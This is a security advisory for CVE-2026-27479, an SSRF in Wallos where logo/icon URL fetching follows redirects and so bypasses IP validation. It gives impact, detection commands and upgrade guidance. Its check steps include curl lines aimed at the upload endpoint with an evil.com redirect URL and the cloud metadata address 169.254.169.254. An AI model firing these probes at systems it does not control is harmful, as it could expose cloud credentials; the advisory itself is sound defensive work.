Wallos: SSRF a través de una omisión de redirección en la obtención de URL de logotipo/icono

The SSRF vulnerability in Wallos arises from the application's handling of subscription and payment logo/icon uploads. While the application attempts to validate the IP address of the provided URL, it utilizes HTTP redirects (CURLOPT_FOLLOWLOCATION = true). This allows an attacker to craft a malicious URL that redirects to an internal resource, effectively bypassing the IP validation check. Successful exploitation could enable attackers to retrieve sensitive information from cloud instance metadata endpoints, potentially exposing API keys, credentials, or other confidential data. The blast radius extends to any internal services accessible via HTTP, and the vulnerability could be leveraged for reconnaissance and further attacks.

Organizations utilizing Wallos for subscription tracking, particularly those hosting the application on cloud platforms like AWS, Azure, or Google Cloud, are at risk. Shared hosting environments where Wallos is installed alongside other applications could also be vulnerable, as a compromise of one application could potentially lead to exploitation of this SSRF vulnerability.

• php: Examine Wallos application logs for unusual outbound HTTP requests, particularly those involving redirects to internal IP addresses or cloud metadata endpoints.

grep 'redirect' /var/log/apache2/access.log | grep '169.254' 

• generic web: Monitor access logs for requests to the logo upload endpoint with suspicious URL parameters.

curl -I 'http://your-wallos-instance/upload_logo.php?url=http://evil.com/redirect' 

• generic web: Check response headers for signs of internal resource exposure.

curl -I 'http://your-wallos-instance/upload_logo.php?url=http://169.254.169.254/latest/meta-data/'

1. 2026-02-21Disclosure

   disclosure

1. Reservado2026-02-19
2. Publicada2026-02-21
3. Modificada2026-02-24
4. EPSS actualizado2026-03-23

The primary mitigation for CVE-2026-27479 is to upgrade Wallos to version 4.6.1 or later, which contains the fix. If an immediate upgrade is not feasible, consider implementing temporary workarounds. A Web Application Firewall (WAF) can be configured to block requests containing suspicious URLs or redirect patterns. Restricting outbound connections from the Wallos application to only trusted internal resources can also limit the potential impact. Regularly review and audit the application's configuration to ensure adherence to security best practices. After upgrading, confirm the fix by attempting to upload a logo from a known internal resource and verifying that the request is properly blocked.